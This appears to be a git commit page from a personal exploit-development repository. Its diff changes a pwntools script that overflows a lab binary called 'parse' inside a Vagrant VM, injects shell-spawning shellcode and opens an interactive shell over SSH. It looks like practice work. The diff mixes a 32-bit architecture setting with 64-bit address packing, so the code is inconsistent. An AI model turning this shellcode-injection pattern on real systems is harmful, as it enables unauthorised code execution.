kizzie/0day_dev
3
5
Fork 0
Code Issues Pull Requests Releases Wiki Activity

idk

Browse Source
This commit is contained in:
kod 2020-08-07 10:22:42 -07:00
parent 915386cc5e
commit 8a31a9b56a
2 changed files with 11 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
parse
View File

Binary file not shown.

15
parse.py
View File

@ -1,6 +1,13 @@
from pwn import * from pwn import *
import base64
context.update(arch='amd64', os='linux') context.update(arch='i686', os='linux')
# Connect to the server with SSH
ssh_connection = ssh('vagrant', 'default', port=2222)
# Open a shell to write more stuff to
bash = ssh_connection.run('bash')
shellcode = shellcraft.sh() shellcode = shellcraft.sh()
print(shellcode) print(shellcode)
@ -10,7 +17,7 @@ payload = cyclic(cyclic_find(0x0000555555555751))
payload += p64(0xdeadbeef) payload += p64(0xdeadbeef)
payload += asm(shellcode) payload += asm(shellcode)
p = process("./parse") bash.sendline('/vagrant/parse')
p.sendline(payload) bash.sendline(payload)
p.interactive() bash.interactive()